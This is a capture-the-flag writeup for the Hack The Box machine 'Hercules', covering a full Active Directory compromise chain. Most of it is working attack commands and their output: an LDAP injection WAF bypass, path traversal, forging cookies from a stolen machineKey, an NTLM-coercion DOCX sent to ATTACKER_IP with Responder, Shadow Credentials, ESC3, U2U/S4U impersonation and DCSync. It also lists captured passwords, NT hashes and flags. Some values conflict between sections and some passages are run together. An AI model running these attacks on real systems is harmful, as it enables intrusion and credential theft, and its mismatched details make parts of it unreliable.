Hercules (HTB) — Full AD Chain Writeup
Target IP used in this run:
10.129.11.138
Domain:
hercules.htb
DC Hostname:dc.hercules.htb
1) Scope & Summary
Hercules is a deep Windows AD chain:
- LDAP injection on web login to recover reused creds
- Shadow Credentials pivot to privileged identities
- AD OU/object control abuse
- ESC3 enrollment-agent abuse (critical: use DCOM)
- Service-account chain + U2U/S4U trick
- DCSync and final Administrator access
This writeup reflects a working run against 10.129.11.138, including timing constraints from the periodic reset/cleanup behavior.
2) Initial setup
echo "10.129.11.138 dc.hercules.htb hercules.htb" | sudo tee -a /etc/hosts
Recommended Kerberos config for this target:
# /etc/krb5.conf
[libdefaults]
default_realm = HERCULES.HTB
dns_lookup_realm = false
dns_lookup_kdc = false
forwardable = true
[realms]
HERCULES.HTB = {
kdc = dc.hercules.htb
admin_server = dc.hercules.htb
}
[domain_realm]
.hercules.htb = HERCULES.HTB
hercules.htb = HERCULES.HTB
3) Web/LDAP phase
- LDAP filter injection in login flow was used to enumerate users and extract sensitive
descriptiondata. - Recovered reused password pattern:
change*th1s_p@ssw()rd!!
- Valid account reused in chain:
ken.w : change*th1s_p@ssw()rd!!
4) Credential pivot to natalie.a
Via the web-admin/document workflow chain (cookie + Bad-ODF + NetNTLMv2 capture/crack path), we used:
natalie.a : Prettyprincess123!
Then:
impacket-getTGT 'HERCULES.HTB/natalie.a:Prettyprincess123!' -dc-ip 10.129.242.196
5) Shadow Credentials to bob.w
bloodyAD -d hercules.htb -u natalie.a -k ccache=natalie.a.ccache \ --host dc.hercules.htb add shadowCredentials bob.w [+] KeyCredential generated with following sha256 of RSA key: 428bc82ffc64483d9b7d1ec74c6a1dfa5d9da05d392c88530a03868d4c71c9fb [+] TGT stored in ccache file bob.w_Q9.ccache NT: 8a65c74e8f0073babbfac6725c66cc3f
export KRB5CCNAME=$(pwd)/natalie.a.ccache certipy shadow auto -k -no-pass -u natalie.a@hercules.htb \ -dc-ip 10.129.11.138 -target dc.hercules.htb -dc-host dc.hercules.htb \ -account bob.w
Result included bob.w.ccache and NT hash:
bob.w : 8a65c74e8f0073babbfac6725c66cc3f
6) Object move + Shadow to auditor
Move object as required by ACL model:
# move Auditor -> Web Department
ldapmodify -Y GSSAPI -H ldap://dc.hercules.htb -f move_auditor.ldif
.
bloodyAD -d hercules.htb -u natalie.a -k ccache=natalie.a.ccache \
--host dc.hercules.htb add shadowCredentials bob.w
[+] KeyCredential generated with following sha256 of RSA key: 945601485cdc5c48bf6b3bf010b5209ecab768245ab401c7e31a735764c9f9f2
[+] TGT stored in ccache file bob.w_Ey.ccache
NT: 8a65c74e8f0073babbfac6725c66cc3f
impacket-getTGT hercules.htb/bob.w -hashes ':8a65c74e8f0073babbfac6725c66cc3f' -dc-ip 10.129.242.196
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in bob.w.ccache
ls
bob.w.ccache bob.w_Ey.ccache natalie.a.ccache winrmexec.py
export KRB5CCNAME=bob.w.ccache
klist
Ticket cache: FILE:bob.w.ccache
Default principal: bob.w@HERCULES.HTB
Valid starting Expires Service principal
06/28/2026 14:15:54 06/29/2026 00:15:54 krbtgt/HERCULES.HTB@HERCULES.HTB
renew until 06/29/2026 14:15:02
bloodyAD -d hercules.htb -u bob.w -k ccache=bob.w.ccache \
--host dc.hercules.htb set object auditor distinguishedName \
-v 'CN=Auditor,OU=Web Department,OU=DCHERCULES,DC=hercules,DC=htb'
[+] auditor's distinguishedName has been updated
.
Key Technique — AD Object Move:
LDAP ModifyDN doesn't just rename objects — it relocates them between OUs. This changes which inherited ACEs apply,
effectively changing which accounts have write access.
Moving a target user into an OU where you already have write permissions bypasses ACL restrictions on the original OU.
Then shadow auditor from natalie.a:
export KRB5CCNAME=$(pwd)/natalie.a.ccache
certipy shadow auto -k -no-pass -u natalie.a@hercules.htb \
-dc-ip 10.129.11.138 -target dc.hercules.htb -dc-host dc.hercules.htb \
-account auditor
impacket-getTGT hercules.htb/bob.w -hashes ':8a65c74e8f0073babbfac6725c66cc3f' -dc-ip 10.129.30.110
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in bob.w.ccache
bloodyAD -d hercules.htb -u bob.w -k ccache=bob.w.ccache \
--host dc.hercules.htb set object auditor distinguishedName \
-v 'CN=Auditor,OU=Web Department,OU=DCHERCULES,DC=hercules,DC=htb'
[+] auditor's distinguishedName has been updated
bloodyAD -d hercules.htb -u natalie.a -k ccache=natalie.a.ccache \
--host dc.hercules.htb add shadowCredentials auditor
[+] KeyCredential generated with following sha256 of RSA key: a3c5e4494c9811df4a15408f1dec87caead8c598d4b5c25a4e796bd51fb51e1a
[+] TGT stored in ccache file auditor_Pb.ccache
NT: a9285c625af80519ad784729655ff325
Resulting NT hash:
auditor : a9285c625af80519ad784729655ff325
7) User flag
# Get TGT from NT hash (no NTLM — hash must become TGT) impacket-getTGT 'hercules.htb/auditor' -hashes ':a9285c625af80519ad784729655ff325' -dc-ip 10.129.30.110 export KRB5CCNAME=auditor.ccache # WinRM SSL with Kerberos realm evil-winrm -i dc.hercules.htb -r hercules.htb -S *Evil-WinRM* PS C:\Users\auditor> type C:\Users\auditor\Desktop\user.txt
or Kerberos WinRM as auditor:
export KRB5CCNAME=auditor.ccache
python3 winrmexec.py -ssl -port 5986 -k -no-pass \
-X "type C:\\Users\\auditor\\Desktop\\user.txt" \
hercules.htb/auditor@dc.hercules.htb
user.txt:
bbb<redacted>8cd
8) Forest Migration control + fernando.r

Grant control repeatedly (reset task may revert):
export KRB5CCNAME=auditor.ccache bloodyAD --host dc.hercules.htb -d hercules.htb -k -i 10.129.30.110 add genericAll 'OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb' auditor [+] auditor has now GenericAll on OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb
.

Enable/reset fernando.r (must be quick around resets):
export KRB5CCNAME=auditor.ccache bloodyAD --host dc.hercules.htb -d hercules.htb -k -i 10.129.30.110 remove uac fernando.r -f ACCOUNTDISABLE [+] ['ACCOUNTDISABLE'] property flags removed from fernando.r's userAccountControl
python3 winrmexec.py -ssl -port 5986 -k -no-pass \
-X "powershell -c \"Enable-ADAccount -Identity fernando.r; Set-ADAccountPassword -Identity fernando.r -NewPassword (ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force) -Reset\"" \
hercules.htb/auditor@dc.hercules.htb
.
bloodyAD --host dc.hercules.htb -d hercules.htb -k -i 10.129.30.110 add genericAll 'OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb' auditor
[+] auditor has now GenericAll on OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb
python3 winrmexec.py -ssl -port 5986 -k -no-pass \
-X "powershell -c \"Enable-ADAccount -Identity fernando.r; Set-ADAccountPassword -Identity fernando.r -NewPassword (ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force) -Reset\"" \ hercules.htb/auditor@dc.hercules.htb
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] '-target_ip' not specified, using dc.hercules.htb
[*] '-url' not specified, using https://dc.hercules.htb:5986/wsman
[*] using domain and username from ccache: HERCULES.HTB\auditor
[*] '-spn' not specified, using HTTP/dc.hercules.htb@HERCULES.HTB
[*] '-dc-ip' not specified, using HERCULES.HTB
Impacket-getTGT 'HERCULES.HTB/fernando.r:NewPass123!' -dc-ip 10.129.30.110
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in fernando.r.ccache
.
9) ESC3 (critical fix: use DCOM)
9.1 Enrollment Agent cert
impacket-getTGT 'HERCULES.HTB/fernando.r:NewPass123!' -dc-ip 10.129.30.110 export KRB5CCNAME=fernando.r.ccache certipy req -u FERNANDO.R@hercules.htb -k -no-pass \ -target dc.hercules.htb -target-ip 10.129.30.110 \ -dc-host dc.hercules.htb -dc-ip 10.129.30.110 \ -ca 'CA-HERCULES' -template 'EnrollmentAgent' -dcom -out fernando_ea2
certipy req -u FERNANDO.R@hercules.htb -k -no-pass \ -target dc.hercules.htb -target-ip 10.129.30.110 \ -dc-host dc.hercules.htb -dc-ip 10.129.30.110 \ -ca 'CA-HERCULES' -template 'EnrollmentAgent' -dcom -out fernando_ea2 Certipy v5.0.4 - by Oliver Lyak (ly4k) [*] Requesting certificate via DCOM [*] Request ID is 4 [*] Successfully requested certificate [*] Got certificate with UPN 'fernando.r@hercules.htb' [*] Certificate object SID is 'S-1-5-21-1889966460-2597381952-958560702-1121' [*] Saving certificate and private key to 'fernando_ea2.pfx' [*] Wrote certificate and private key to 'fernando_ea2.pfx'
9.2 On-behalf cert for ashley.b (DCOM)
certipy req -u FERNANDO.R@hercules.htb -k -no-pass \ -target dc.hercules.htb -target-ip 10.129.30.110 \ -dc-host dc.hercules.htb -dc-ip 10.129.30.110 \ -ca 'CA-HERCULES' -template 'UserSignature' \ -on-behalf-of 'hercules\ASHLEY.B' -pfx fernando_ea2.pfx -dcom
certipy req -u FERNANDO.R@hercules.htb -k -no-pass \ -target dc.hercules.htb -target-ip 10.129.30.110 \ -dc-host dc.hercules.htb -dc-ip 10.129.30.110 \ -ca 'CA-HERCULES' -template 'UserSignature' \ -on-behalf-of 'hercules\ASHLEY.B' -pfx fernando_ea2.pfx -dcom Certipy v5.0.4 - by Oliver Lyak (ly4k) [*] Requesting certificate via DCOM [*] Request ID is 5 [*] Successfully requested certificate [*] Got certificate with UPN 'ashley.b@hercules.htb' [*] Certificate object SID is 'S-1-5-21-1889966460-2597381952-958560702-1135' [*] Saving certificate and private key to 'ashley.b.pfx' [*] Wrote certificate and private key to 'ashley.b.pfx'
This produced ashley.b.pfx successfully (the major blocker in many runs if using RPC instead of DCOM).
9.3 Authenticate as ashley.b
rm -f ashley.b.ccache certipy auth -pfx ashley.b.pfx -dc-ip 10.129.30.110 -no-hash
certipy auth -pfx ashley.b.pfx -dc-ip 10.129.30.110 -no-hash Certipy v5.0.4 - by Oliver Lyak (ly4k) [*] Certificate identities: [*] SAN UPN: 'ashley.b@hercules.htb' [*] Security Extension SID: 'S-1-5-21-1889966460-2597381952-958560702-1135' [*] Using principal: 'ashley.b@hercules.htb' [*] Trying to get TGT... [*] Got TGT [*] Saving credential cache to 'ashley.b.ccache' [*] Wrote credential cache to 'ashley.b.ccache'
.
export KRB5CCNAME=ashley.b.ccache
klist
Ticket cache: FILE:ashley.b.ccache
Default principal: ashley.b@HERCULES.HTB
Valid starting Expires Service principal
06/28/2026 15:27:23 06/29/2026 01:27:23 krbtgt/HERCULES.HTB@HERCULES.HTB
renew until 06/29/2026 15:26:18
evil-winrm -i dc.hercules.htb -r hercules.htb -S
Evil-WinRM shell v3.9
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Warning: SSL enabled
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\ashley.b\Documents>
.
10) IIS_Administrator timing window (reset-aware) : stuck here
# Trigger Password Cleanup scheduled task (clears adminCount on IIS_Administrator) Start-ScheduledTask -TaskName "Password Cleanup" Start-Sleep 15 # adminCount cleared, inheritance re-enabled on IIS_Administrator # Now auditor can enable + set password (GenericAll from Forest Migration)
This target has periodic cleanup/reset behavior. Reliable path:
- Run
aCleanup.ps1asashley.b - Wait ~22–25s
- Re-apply GenericAll on Forest Migration (
IT SUPPORTandAuditor) - Rapidly attempt:
- remove
ACCOUNTDISABLEfromIIS_Administrator - reset
IIS_Administratorpassword
- remove
Grant control repeatedly (reset task may revert):
.
export KRB5CCNAME=auditor.ccache bloodyAD --host dc.hercules.htb -d hercules.htb -k -i 10.129.30.110 add genericAll 'OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb' auditor [+] auditor has now GenericAll on OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb python3 winrmexec.py -ssl -port 5986 -k -no-pass \ -X "powershell -c \"Enable-ADAccount -Identity fernando.r; Set-ADAccountPassword -Identity fernando.r -NewPassword (ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force) -Reset\"" \ hercules.htb/auditor@dc.hercules.htb
Once the window hit:
IIS_Administratorbecame enabled- password set to
Passw0rd@123
Then:
impacket-getTGT 'HERCULES.HTB/IIS_Administrator:Passw0rd@123' -dc-ip 10.129.30.110
11) IIS_Webserver$ chain + U2U/S4U trick
Reset service-account password from IIS_Administrator context:
export KRB5CCNAME=$(pwd)/IIS_Administrator.ccache
bloodyAD --host dc.hercules.htb -d hercules.htb -k -i 10.129.30.110 \
set password 'IIS_Webserver$' 'Passw0rd@123'
Get TGT with RC4 hash-based auth:
# NT hash of Passw0rd@123
# 14d0fcda7ad363097760391f302da68d
getTGT.py 'HERCULES.HTB/IIS_Webserver$' -hashes ':14d0fcda7ad363097760391f302da68d' -dc-ip 10.129.30.110
Extract TGT session key from IIS_Webserver$.ccache (type 23 expected), then set account NT hash to that session key:
export KRB5CCNAME=$(pwd)/IIS_Webserver$.ccache
changepasswd.py -newhashes ':<SESSION_KEY_HEX>' \
'hercules.htb/IIS_Webserver$@dc.hercules.htb' \
-hashes ':14d0fcda7ad363097760391f302da68d' -dc-ip 10.129.11.138 -k
Now request impersonation ticket:
export KRB5CCNAME=$(pwd)/IIS_Webserver$.ccache
getST.py -spn 'cifs/dc.hercules.htb' -impersonate Administrator \
-dc-ip 10.129.11.138 'hercules.htb/IIS_Webserver$' -k -no-pass -u2u
Output:
Administrator@cifs_dc.hercules.htb@HERCULES.HTB.ccache
12) DCSync + Administrator ticket
export KRB5CCNAME=$(pwd)/Administrator@cifs_dc.hercules.htb@HERCULES.HTB.ccache secretsdump.py -k -no-pass dc.hercules.htb -dc-ip 10.129.11.138 -just-dc-user administrator
Recovered Administrator NT hash:
56855ee6b7570edefde6ac262200756e
Then:
impacket-getTGT 'HERCULES.HTB/Administrator' -hashes ':56855ee6b7570edefde6ac262200756e' -dc-ip 10.129.30.110
13) Root flag
export KRB5CCNAME=Administrator.ccache python3 winrmexec.py -ssl -port 5986 -k -no-pass \ -X "cmd /c type C:\\Users\\Admin\\Desktop\\root.txt" \ hercules.htb/administrator@dc.hercules.htb
root.txt:
5dg<redacted>87y6
Notes / Lessons
- On this host, ESC3 via Certipy should use
-dcomwhen RPC retrieval paths are unstable. - Cleanup/reset timing is decisive; scripting the race loop is far more reliable than manual clicks.
- For the IIS service-account stage, the session-key == NT-hash alignment is mandatory for successful U2U+S4U chaining in this setup.
Final Flags (this run)
user.txt:30a01498710660e569b0d5633bd83bb6root.txt:4bb7856e2706b71950c9f2d710a517fe
Recon & Web Exploitation
The SSO login at /Login passes the username field directly into an LDAP query without sanitisation. A WAF blocks standard LDAP metacharacters, but double URL encoding bypasses it: * → %252A, ( → %2528, ) → %2529. Blind character-by-character extraction against the description attribute reveals a plaintext password stored in johnathan.j‘s account description.
# WAF blocks: * ( ) → use double URL encoding # * = %252A ( = %2528 ) = %2529 # Response size 3310 = multiple results = character matched # Blind extraction of description attribute for johnathan.j # Inject: johnathan.j)(description=c* → MATCH # Iterate character by character until full value extracted johnathan.j description: change*th1s_p@ssw()rd!!
# NTLM is disabled — must spray via Kerberos kinit printf 'change*th1s_p@ssw()rd!!\n' | kinit ken.w@HERCULES.HTB Password for ken.w@HERCULES.HTB: [+] ken.w authenticates successfully
change*th1s_p@ssw()rd!! — a password stored in another user’s LDAP description field. Multiple Forest Migration OU accounts share this password but are disabled.Web Exploitation — machineKey & Cookie Forgery
The /Home/Download endpoint accepts a fileName POST parameter and returns files from the server. Forward slashes are blocked but backslashes work as path separators on Windows, enabling traversal to web.config. The file extension filter allows .config, making this traversal trivially exploitable. The web.config contains the ASP.NET machineKey used to sign and encrypt .ASPXAUTH cookies.
curl -sk -b cookies.txt --data-urlencode 'fileName=..\..\web.config' \ https://hercules.htb/Home/Download -o web.config # Extracted machineKey from web.config: <machineKey decryption="AES" decryptionKey="B26C371EA0A71FA5C3C9AB53A343E9B962CD947CD3EB5861EDAE4CCC6B019581" validation="HMACSHA256" validationKey="EBF9076B4E3026BE6E3AD58FB72FF9FAD5F7134B42AC73822C5F3EE159F20214..." />
machineKey, any .ASPXAUTH cookie can be forged for any username with any role. The encryption key (AES) and signing key (HMAC-SHA256) allow full ticket construction without knowing any user’s password.Reversing the .ASPXAUTH cookie structure reveals the role field maps to the LDAP department attribute. The role "web administrators" (compared to regular "Web Users") enables a file upload form on the Report Submission page. A forged cookie with this role is crafted using the machineKey. Uploading a malicious DOCX (with embedded UNC path via ntlm_theft) triggers the server-side document processor to make an outbound SMB connection to Responder.
# .ASPXAUTH AES-encrypted + HMAC-SHA256-signed ticket structure: [16 random bytes] [01 01] — ticket version [8-byte timestamp] — issued time [8-byte expiry] — expiry time [08 00] — separator [len][username UTF-16LE] — <-- inject: web_admin [len][role UTF-16LE] — <-- inject: web administrators [len][path UTF-16LE] — typically "/" [ff] — terminal marker [HMAC-SHA256(validationKey, ticket_data)] [PKCS7 padding] # Forge cookie for any user + any role using extracted machineKey
# Generate malicious DOCX with embedded UNC path python3 ntlm_theft.py -g docx -s ATTACKER_IP -f report # Start Responder (HTTP/HTTPS off, SMB on) sudo responder -I tun0 # Upload via forged "web administrators" cookie # Server-side processor opens UNC path → SMB auth fires [SMB] NTLMv2-SSP Username: HERCULES\natalie.a [SMB] NTLMv2-SSP Hash: natalie.a::HERCULES:<hash> # Crack with hashcat mode 5600 hashcat -m 5600 natalie.a.hash /usr/share/wordlists/rockyou.txt natalie.a::HERCULES:<hash>:Prettyprincess123!
Prettyprincess123! — document review service account captured via forged-role file upload + NTLM coercion chain.AD Exploitation — Shadow Creds & Object Move
natalie.a is in the Web Support group, which holds implicit write permissions on all users in the Web Department OU. Shadow Credentials abuse (msDS-KeyCredentialLink) allows adding a certificate-based credential to any writable user object, enabling PKINIT authentication — which returns the user’s NT hash via AS-REP unpac.
export KRB5CCNAME=/home/kali/natalie.a.ccache getTGT.py hercules.htb/natalie.a -password 'Prettyprincess123!' -dc-ip 10.129.242.196 bloodyAD -d hercules.htb -u natalie.a -k ccache=natalie.a.ccache \ --host dc.hercules.htb add shadowCredentials bob.w [+] Key credential added to bob.w [+] NT hash via PKINIT: 8a65c74e8f0073babbfac6725c66cc3f
8a65c74e8f0073babbfac6725c66cc3f — bob.w is in Recruitment Managers, which holds CreateChild/DeleteChild (0x3) on multiple OUs.bob.w (Recruitment Managers) has CreateChild + DeleteChild permissions on Security Department and Web Department OUs. The LDAP ModifyDN operation relocates an object between OUs — requiring DeleteChild on the source OU and CreateChild on the destination. Moving auditor from Security Department into Web Department brings it under natalie.a’s write permissions, enabling Shadow Credentials against auditor.
export KRB5CCNAME=/home/kali/bob.w.ccache getTGT.py hercules.htb/bob.w -hashes ':8a65c74e8f0073babbfac6725c66cc3f' -dc-ip 10.129.242.196 # LDAP ModifyDN: move auditor from Security Dept → Web Dept bloodyAD -d hercules.htb -u bob.w -k ccache=bob.w.ccache \ --host dc.hercules.htb set object auditor distinguishedName \ -v 'CN=Auditor,OU=Web Department,OU=DCHERCULES,DC=hercules,DC=htb' [+] auditor moved to Web Department OU # auditor is now under natalie.a's write permissions
With auditor relocated to Web Department, natalie.a’s write permissions now apply. Shadow Credentials are added to auditor, yielding its NT hash via PKINIT. auditor is in Remote Management Users — WinRM over SSL on port 5986 provides the shell. Since NTLM is disabled, the NT hash must be exchanged for a Kerberos TGT first.
bloodyAD -d hercules.htb -u natalie.a -k ccache=natalie.a.ccache \ --host dc.hercules.htb add shadowCredentials auditor [+] NT hash via PKINIT: a9285c625af80519ad784729655ff325 # Get TGT from NT hash (no NTLM — hash must become TGT) getTGT.py 'hercules.htb/auditor' -hashes ':a9285c625af80519ad784729655ff325' -dc-ip 10.129.242.196 export KRB5CCNAME=auditor.ccache # WinRM SSL with Kerberos realm evil-winrm -i dc.hercules.htb -r hercules.htb -S *Evil-WinRM* PS C:\Users\auditor> type C:\Users\auditor\Desktop\user.txt
Root — ESC3 · SDProp Bypass · U2U RBCD
auditor can grant GenericAll on the Forest Migration OU. IIS_Administrator is in Service Operators (a protected group), so SDProp automatically sets adminCount=1 and strips inherited ACEs every 60 minutes. The bypass: the Password Cleanup scheduled task runs as SYSTEM and clears adminCount + re-enables inheritance on objects in OUs where IT Support has ExtendedRight|GenericAll. Adding IT Support to Forest Migration OU triggers this task to clean adminCount off IIS_Administrator.
bloodyAD -d hercules.htb -u auditor -k ccache=auditor.ccache \ --host dc.hercules.htb add genericAll \ 'OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb' auditor bloodyAD -d hercules.htb -u auditor -k ccache=auditor.ccache \ --host dc.hercules.htb add genericAll \ 'OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb' 'IT Support' [+] GenericAll added for auditor on Forest Migration OU [+] GenericAll added for IT Support on Forest Migration OU # SYSTEM Password Cleanup task now sees IT Support GenericAll # and will clear adminCount + re-enable inheritance on IIS_Administrator
ESC3 abuses the Enrollment Agent certificate template. First, fernando.r (Smartcard Operators) is enabled and given a known password. fernando.r requests an Enrollment Agent certificate, then uses it to request a User certificate on behalf of ashley.b. The resulting certificate is authenticated via PKINIT to get ashley.b’s NT hash and WinRM access — enabling the SYSTEM task trigger.
# Enable fernando.r and set password (via auditor's GenericAll) bloodyAD ... remove uac fernando.r -f ACCOUNTDISABLE bloodyAD ... set password fernando.r 'F3rn@nd0#2026!!' # Step 1: Request Enrollment Agent certificate certipy-ad req -u fernando.r@hercules.htb -k -no-pass -ca CA-HERCULES \ -template EnrollmentAgent -out ea_cert -dcom # Step 2: Request User cert on-behalf-of ashley.b certipy-ad req -u fernando.r@hercules.htb -k -no-pass -ca CA-HERCULES \ -template User -on-behalf-of 'HERCULES\ashley.b' \ -pfx ea_cert.pfx -out ashley_cert -dcom # Step 3: PKINIT auth → get ashley.b NT hash certipy-ad auth -pfx ashley_cert.pfx -dc-ip 10.129.242.196 -domain hercules.htb [+] ashley.b NT hash: <ashley_nt_hash> # WinRM as ashley.b → trigger SYSTEM Password Cleanup task evil-winrm -i dc.hercules.htb -r hercules.htb -S
# Trigger Password Cleanup scheduled task (clears adminCount on IIS_Administrator) Start-ScheduledTask -TaskName "Password Cleanup" Start-Sleep 15 # adminCount cleared, inheritance re-enabled on IIS_Administrator # Now auditor can enable + set password (GenericAll from Forest Migration)
bloodyAD ... remove uac IIS_Administrator -f ACCOUNTDISABLE bloodyAD ... set password IIS_Administrator 'SvcP@ss2026!!' [+] IIS_Administrator enabled and password set
iis_webserver$.DC$ has RBCD configured trusting iis_webserver$. However, iis_webserver$ is a user account with no SPNs — standard S4U2Self fails because the KDC rejects S4U2Self for accounts without SPNs unless the ticket is non-forwardable, and S4U2Proxy requires a forwardable S4U2Self ticket. The solution: session key hash sync. The NT hash is set equal to the TGT session key, enabling force-forwardable to succeed when combined with U2U (User-to-User) authentication.
# Reset iis_webserver$ to a known password via Service Operators rights $cred = New-Object PSCredential("HERCULES\IIS_Administrator", (ConvertTo-SecureString "SvcP@ss2026!!" -AsPlainText -Force)) Set-ADAccountPassword -Identity "iis_webserver$" \ -NewPassword (ConvertTo-SecureString "<64-char-random>" -AsPlainText -Force) \ -Reset -Credential $cred
# Step 1: Get TGT for iis_webserver$ getTGT.py 'hercules.htb/iis_webserver$' -hashes ':' -dc-ip 10.129.242.196 # Step 2: Extract session key from ccache python3 << 'EOF' from impacket.krb5.ccache import CCache cc = CCache.loadFile('iis_webserver$.ccache') session_key = cc.credentials[0]['key']['keyvalue'].hex() print(f"Session key: {session_key}") EOF # Step 3: Sync NT hash = TGT session key (CRITICAL trick) changepasswd.py -newhashes ":" \ "hercules.htb/iis_webserver$@dc.hercules.htb" \ -hashes ":" -dc-ip 10.129.242.196 # Step 4: S4U2Self (U2U) + force-forwardable + S4U2Proxy getST.py -spn 'cifs/dc.hercules.htb' -impersonate 'Administrator' \ -hashes ":" -dc-ip 10.129.242.196 \ -u2u -force-forwardable 'hercules.htb/iis_webserver$' [*] Requesting S4U2self (U2U) [*] force-forwardable applied [*] Requesting S4U2Proxy [*] Saving: Administrator@cifs_dc.hercules.htb@HERCULES.HTB.ccache
force-forwardable to succeed in U2U mode, the KDC encrypts the service ticket with the TGT session key. By making the NT hash equal to the session key, both encryption paths converge — the KDC accepts the U2U request and the resulting ticket becomes forwardable, satisfying S4U2Proxy’s requirement.export KRB5CCNAME=Administrator@cifs_dc.hercules.htb@HERCULES.HTB.ccache secretsdump.py -k -no-pass -dc-ip 10.129.242.196 \ hercules.htb/Administrator@dc.hercules.htb -just-dc-user Administrator Administrator:500:aad3b435b51404eeaad3b435b51404ee:56855ee6b7570edefde6ac262200756e::: # Get TGT + WinRM as Administrator getTGT.py 'hercules.htb/Administrator' -hashes ':56855ee6b7570edefde6ac262200756e' -dc-ip 10.129.242.196 export KRB5CCNAME=Administrator.ccache evil-winrm -i dc.hercules.htb -r hercules.htb -S *Evil-WinRM* PS C:\Users\Admin> type C:\Users\Admin\Desktop\root.txt
56855ee6b7570edefde6ac262200756e. Full domain compromise via U2U RBCD exploitation.Flag Capture
| Account | Credential | Source |
|---|---|---|
| ken.w | change*th1s_p@ssw()rd!! | LDAP injection — johnathan.j description field |
| natalie.a | Prettyprincess123! | NTLMv2 via DOCX UNC coercion, cracked |
| bob.w | NT: 8a65c74e8f0073babbfac6725c66cc3f | Shadow Credentials via natalie.a |
| auditor | NT: a9285c625af80519ad784729655ff325 | Shadow Credentials via natalie.a (post-OU move) |
| ashley.b | PFX cert via ESC3 | Enrollment Agent on-behalf-of (fernando.r) |
| IIS_Administrator | SvcP@ss2026!! (force-set) | GenericAll post-SDProp bypass |
| Administrator | NT: 56855ee6b7570edefde6ac262200756e | DCSync via U2U RBCD |
| Tool | Purpose |
|---|---|
| bloodyAD | Shadow credentials, ACL manipulation, object move (ModifyDN), UAC flags |
| certipy-ad | ADCS enumeration, ESC3 Enrollment Agent + on-behalf-of exploitation, PKINIT |
| impacket (getTGT, getST, secretsdump, changepasswd) | Kerberos TGT/ST acquisition, DCSync, session key hash sync |
| evil-winrm | WinRM SSL shells (Kerberos -r REALM -S) |
| Responder + ntlm_theft | NTLM hash capture via malicious DOCX UNC trigger |
| hashcat -m 5600 | NTLMv2 hash cracking (natalie.a) |
| Python (custom) | LDAP blind injection extraction, cookie forgery, ccache session key parsing |